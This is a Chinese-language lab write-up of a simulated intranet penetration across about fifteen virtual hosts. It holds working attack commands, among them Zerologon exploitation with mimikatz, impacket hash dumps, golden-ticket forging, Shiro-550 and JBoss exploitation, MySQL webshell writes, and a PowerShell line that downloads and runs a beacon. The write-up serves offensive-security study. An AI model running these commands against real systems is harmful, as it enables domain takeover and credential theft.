內網+服務攻防實戰模擬
本篇文章詳細記錄了一個內網+服務環境靶機的滲透過程,大約涉及到15臺主機,由于這些靶機都在虛擬機內搭建,和實戰相比有所區別,但可以盡最大程度地模擬實戰的情況。
從一級代理到三級代理,使用內網安全中常見的攻擊手段(置零攻擊、票據、域信任等)和服務安全常用的滲透手段(MSSQL利用存儲過程提權、shiro550、Struts2-052漏洞等等)通過對內網中各個主機的滲透,一步步將Web服務器、子域控、父域控、安全域、涉密域、獨立域等主機拿下。
PS:三月入門內網安全,簡單完成了項目一(純內網環境無任何應用),四月五月學習服務攻防,包括五個數據庫、八個中間件和五個框架,總結了大部分知識點,也對其有了基本了解。本次實戰模擬是DAYU師父搭建第二個實戰項目,結合了前三個月內網+服務攻防大部分知識點。(水平有限,望大佬輕噴~)
靶場環境簡單介紹
靶場環境的大致拓撲圖如下

基本的方向也分為兩條,一條是獨立域方向,連接著5臺業務服務器,另一條是安全域方向,連接涉密服務器。本篇文章根據這兩條方向分別進行記錄,上篇介紹Web服務器、子域控、父域控、輔域控、安全域和涉密服務器這快,下篇介紹獨立域的7臺主機。不多說,開始動手~
一、Web服務器
重點是內網和服務主機,拿下Web服務器就簡單概述下~
1、后臺登陸點+密碼爆破

使用burpsuite爆破密碼

用admin和123456登陸進后臺。
2、前臺模板寫入一句話
在后臺模板內容編輯處,發現可以通過前臺模板拿shell,在前臺模板中寫入一句話

3、蟻劍拿shell
分別填上URL地址和連接密碼,成功連接

4、上線CS
1)創建監聽器111,選擇攻擊--生成后門--Windows Executable (S),創建木馬文件webserver.exe

通過蟻劍虛擬終端上傳并執行木馬文件,成功上線CS

5、使用插件提權

6、建立一級代理 | frp
上傳frpc.exe文件,修改frpc.ini文件內容如下
[common]server_addr = 121.xx.xx.xx # 公網服務器IPserver_port = 12001 # 服務器端口[http_proxy]type = tcpremote_port = 1090 # socks代理端口plugin = socks5
修改frps.ini文件內容
[common]bind_addr = 0.0.0.0 # 綁定地址,0.0.0.0表示本身bind_port = 12001 # 綁定端口
執行順序:先在公網服務器上啟動frps.exe,后在web服務器上連接
1. 公網服務器frps.exe -c frps.ini 2. Web服務器frpc.exe -c frpc.ini

二、子域控制器
Hash置零攻擊、CVE-2020-1472
1、信息收集
通過CScan、nbtscan、fscan等掃描器和系統命令ipconfig、sysinfo等方式對域內環境進行信息收集,整合后的數據如下
本機信息:192.168.73.13710.10.10.101 DNS為10.10.10.10 (可以確定為子域控IP)主機名: web域名: ziyu.dayu.com 10.10.10.5DAYU\WIN-AMJ9T9TL123 SHARING DCWindows Server 2016AMJ9T9TL123 dayu.com 10.10.10.6DAYU\FUYU SHARING DCWindows Server 2016FUYU dayu.com 10.10.10.10ZIYU0\ZIYU SHARINGWindows Server 2016另一IP:10.12.10.5ZIYU ziyu.dayu.com 10.10.10.66AQ\WIN-D5NCBKR11G2 SHARING DCWindows Server 2016另一IP:201.1.10.5WIN-D5NCBKR11G2 aq.dayu.com 10.10.10.90DAYU\HEXIN SHARINGWin7HEXIN dayu.com 10.10.10.101ZIYU0\WEB SHARINGWin7WEB ziyu.dayu.com
分析上面的信息后,可得子域控IP為10.10.10.10,且為win2016操作系統。
可以嘗試使用置空攻擊(CVE-2020-1472)
2、域控Hash置空漏洞 | CVE-2020-1472
1)上傳mimikatz工具
2)檢測是否存在CVE-2020-1472
shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$" "exit"
回顯OK — vulnerable表示存在該漏洞

3)執行置零攻擊
shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$ /exploit" "exit"

4)空Hash登陸導出Hash值
proxychains impacket-secretsdump -no-pass -just-dc ziyu.dayu.com/ZIYU\$@10.10.10.10得到a8ad79b7b2c6598658ca0932cbf01e40
通過proxychains使用一級代理

5)使用wmiexec.py登陸進Administrator賬戶
proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./Administrator@10.10.10.10

6)導出SYSTEM、SAM等密碼文件
接下來就是恢復域控Hash值,恢復完整
登陸進Administrator用戶,執行命令下載三個文件
reg save HKLM\SYSTEM system.hivereg save HKLM\SAM sam.hivereg save HKLM\SECURITY security.hiveget system.hiveget sam.hiveget security.hivedel /f system.hivedel /f sam.hivedel /f security.hive

7)破解密碼文件得到域機器Hash
impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL得到06eedd341333c69b0b2980afa814783a

8)恢復域控機器Hash值
使用到腳本reinstall_original_pw.py項目地址:https://github.com/risksense/zerologon
proxychains python3 reinstall_original_pw.py ZIYU 10.10.10.10 06eedd341333c69b0b2980afa814783a

3、上線CS
1)生成監聽10.10.10.0/24網段的中轉監聽器

2)生成木馬文件zz1.exe,并拷貝到kali上

3)wmiexec.py連接登陸進shell,上傳執行zz1.exe文件,成功上線CS~
proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./Administrator@10.10.10.10

三、父域控制器
CVE-2020-1472 Hash置零攻擊 | 10.10.10.5
1、信息收集
IP: 10.10.10.5操作系統: Win 2016主機名: WIN-AMJ9T9TL123域名: dayu.com
使用一級代理進行常規端口掃描,沒有發現服務應用程序,判斷是個純域控環境
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.5 PORT STATE SERVICE VERSION80/tcp closed http1433/tcp closed ms-sql-s3306/tcp closed mysql6379/tcp closed redis8080/tcp closed http-proxy27017/tcp closed mongod
2、Hash置零攻擊拿下父域控
類似子域控的拿下方式
1)上傳mimikatz
2)檢測是否存在置零攻擊的可能
shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$" "exit"
回顯OK -- vulnerable表示存在該漏洞

3)執行置零攻擊
shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$ /exploit" "exit"
4)空Hash登陸導出Hash值
proxychains impacket-secretsdump -no-pass -just-dc WIN-AMJ9T9TL123.dayu/WIN-AMJ9T9TL123\$@10.10.10.5得到:99b81196c641b05ce3cb7fcd7c27e094
通過proxychains使用一級代理

5)使用wmiexec.py登陸進Administrator賬戶
proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.5
6)導出SYSTEM、SAM等密碼文件
接下來就是恢復域控Hash值,恢復完整
登陸進shell中,執行以下命令
reg save HKLM\SYSTEM system.hivereg save HKLM\SAM sam.hivereg save HKLM\SECURITY security.hiveget system.hiveget sam.hiveget security.hivedel /f system.hivedel /f sam.hivedel /f security.hive

7)破解密碼文件得到域機器Hash
impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL得到4c50080dd9386c7383618a6a379566fc

8)恢復域控機器Hash值
使用到腳本reinstall_original_pw.py
proxychains python3 reinstall_original_pw.py WIN-AMJ9T9TL123 10.10.10.5 4c50080dd9386c7383618a6a379566fc

PS:用下面的方法恢復Hash暫時無效,望大佬指出錯誤
shell mimikatz.exe "privilege::debug" "lsadump::postzerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$" "exit
3、上線CS
先在子域控上創建中轉監聽器并生成木馬文件zz4.exe
再通過wmiexec.py登陸進Administrator賬戶,上傳木馬文件zz4.exe

4、拓展:利用域信任拿下父域控
1)域信任相關信息收集
SID信息
shell mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dayu$" "lsadump::trust /patch" "exit" 子域控SID S-1-5-21-2583698968-2429581080-2114424868父域控SID S-1-5-21-3309395417-4108617856-2168433834子域控rc4 d8d44b17bb424cfb9ef1dec0f7fdcfe5

krbtgt的NTLM值
shell mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit" krbtgt的NTLM值: 37de8c1425b597055f76a037a49adfdd

2)利用krbtgt散列值獲取目標域的權限
生成黃金票據并注入票據
shell mimikatz.exe "Kerberos::golden /user:administrator /domain:ziyu.dayu.com /sid:S-1-5-21-2583698968-2429581080-2114424868 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /krbtgt:37de8c1425b597055f76a037a49adfdd /ptt" "exit"
注入后查看能否訪問父域控目錄
shell dir \\WIN-AMJ9T9TL123.dayu.com\c$

檢查了好幾遍還是拒絕訪問,先留著,之后有技術了回來解決。
正常情況下,能訪問到父域控的目錄后寫入木馬文件后可以設置定時任務啟動木馬文件上線CS
四、輔域控制器
10.10.10.6 | Win 2016
1、信息收集
IP: 10.10.10.6操作系統: Win 2016主機名: FUYU域名: dayu.com
2、上線CS
由于父域控和輔域控是相輔相成的,所以他們兩的密碼一致,改了一個,另一個就跟著變
通過wmiexec.py登陸進Administrator賬戶
上傳后門文件zz4.exe
proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.6

五、父域用戶主機
JBoss | 10.10.10.90
IP: 10.10.10.90操作系統: Win 7主機名: HEXIN域名: dayu.com
1、信息收集
使用nmap進行端口掃描
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.90 PORT STATE SERVICE VERSION80/tcp closed http1433/tcp closed ms-sql-s3306/tcp closed mysql6379/tcp closed redis8080/tcp open http Apache Tomcat/Coyote JSP engine 1.127017/tcp closed mongod
只開啟了一個8080端口,掛代理前往訪問看看,發現為JBoss中間件

2、方法一:JBoss自動化工具滲透
使用自動化滲透工具jexboss.py項目地址:https://github.com/joaomatosf/jexboss
proxychains python jexboss.py -host http://10.10.10.90:8080

存在admin-console漏洞,在提示admin-Console時選擇yes

得到一個shell

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/zz4.exe','zz4.exe');start-process zz4.exe
不過這里執行powershell并沒有上線成功過。此外,在內網不好反向連接,這里沒啥思路,等大佬撈撈~
3、方法二:JBoss手動滲透
1)發現JBoss后臺登陸界面
http://10.10.10.90:8080/admin-console/login.seam?conversationId=33

嘗試賬號admin以及默認密碼admin登陸,成功登陸進去(運氣成分) 可以用BurpSuite抓包爆破密碼

2)上傳木馬文件war包

4、上線CS
訪問該小馬,寫入zz4.exe后門文件并執行,成功上線CS

六、安全域
Shiro | MySQL | 10.10.10.66
1、信息收集
IP: 10.10.10.66201.1.10.5操作系統: Win 2016主機名: WIN-D5NCBKR11G2域名: aq.dayu.com
使用nmap獲取端口信息:
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.66 PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)1433/tcp closed ms-sql-s3306/tcp open mysql MySQL (unauthorized)6379/tcp closed redis8080/tcp open http Apache Tomcat 8.5.6527017/tcp closed mongod
一個8080,一個3306端口開啟
訪問10.10.10.66:8080,發現了shiro框架10.10.10.66:8080/shiro

2、方法一:Shiro反序列化漏洞550
使用工具shiro-1.2.4_rce.py進行不出網攻擊 項目地址:https://github.com/zhzyker/shiro-1.2.4-rce
執行命令進行驗證攻擊
proxychains python3 shiro-1.2.4_rce.py http://10.10.10.66:8080/shiro/

3、powershell下載執行文件上線CS
1)放置后門文件
在10.10.10.0/24同網段中有Web服務器可以訪問文件,將后門文件zz4.exe放置在Web服務器上,用于獲取該后門文件。

2)powershell下載文件并執行
在shiro-1.2.4_rce.py工具中執行命令
powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/zz4.exe','zz4.exe');start-process zz4.exe
成功上線~
4、方法二:MySQL日志寫shell
1)MySQL登陸密碼爆破
使用MSF爆破
使用nmap爆破
proxychains nmap --script=mysql-brute -sT -Pn -p 3306 20.20.20.199root:root
密碼爆破成功后可以命令行直接登陸執行命令,這里嘗試phpmyadmin上執行命令
詳細見下篇的第八部分 獨立域主機5
2)登陸進phpmyadmin
10.10.10.66/phpmyadmin

3)修改日志路徑 | 日志寫shell
一般在root權限下允許將general_log選項打開,它可以記錄用戶用戶的每條命令,并保存至對應的文件中
set global general_log = "ON";set global general_log_file='C:/phpStudy/WWW/xigua.php';
網站路徑可在80端口的phpStudy探針上看到
通過命令查看general_log選項值
SHOW VARIABLES LIKE 'general%';

再執行命令,日志會將php一句話這行命令寫入進上面設置的xigua.php文件中
select " @eval($_POST['123']);?>";

5、用蟻劍連接shell并上線CS
1)蟻劍連接一句話木馬
URL地址 http://10.10.10.66/xigua.php連接密碼 123

2)上傳后門文件zz4.exe

3)在虛擬終端執行該文件

七、涉密域
201.1.10.206
1、建立frp二級代理(安全域方向)
frp代理文件配置如下,共有4個配置文件
##安全域# frpc.ini[common]server_addr = 10.10.10.101server_port = 12012[http_proxy]type = tcpremote_port = 1096plugin = socks5 ##Web服務器# frps.ini[common]bind_addr = 10.10.10.101bind_port = 12012 # frpc.ini[common]server_addr = 121.xx.xx.xxserver_port = 12012[http_proxy]type = tcplocal_ip = 10.10.10.101local_port = 1096remote_port = 1096 ## 公網服務器# frps.ini[common]bind_addr = 0.0.0.0bind_port = 12012
按下面的執行順序依次執行
1. Web服務器frps.exe -c frps.ini2. 安全域frpc.exe -c frpc.ini 3. 公網服務器frps.exe -c frps.ini4. Web服務器frpc.exe -c frpc.ini
2、信息收集
IP: 201.1.10.206主機名: SHEMI域名:aq.dayu.com
通過nmap對其進行端口掃描,發現80和3306
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 201.1.10.206 PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)1433/tcp closed ms-sql-s3306/tcp open mysql MySQL 5.5.536379/tcp closed redis8080/tcp closed http-proxy27017/tcp closed mongod
代理訪問http://201.1.10.206/,為phpStudy探針,可以獲得絕對路徑信息

3、MySQL outfile寫shell
1)mysql密碼爆破
使用MSF模塊scanner/mysql/mysql_login,設置代理
setg Proxies socks5:121.xx.xx.xx:xxsetg ReverseAllowProxy true

成功爆破出密碼為root
2)寫入shell文件
登陸mysql
proxychains mysql -uroot -proot -h201.1.10.206
查看是否擁有寫入文件的權限及寫入位置,空表示可以寫入任意地址
show global variables like '%secure_file_priv%';

直接寫入一句話木馬到網站目錄下
select '' into outfile 'C:/phpStudy/WWW/Kr1-shujuku.php';

4、蟻劍連接shell
URL地址:http://201.1.10.206/Kr1-shujuku.php連接密碼:123

5、上線CS
1)創建中轉監聽器zhongzhuan5

2)上傳zz5.exe并執行

成功上線~~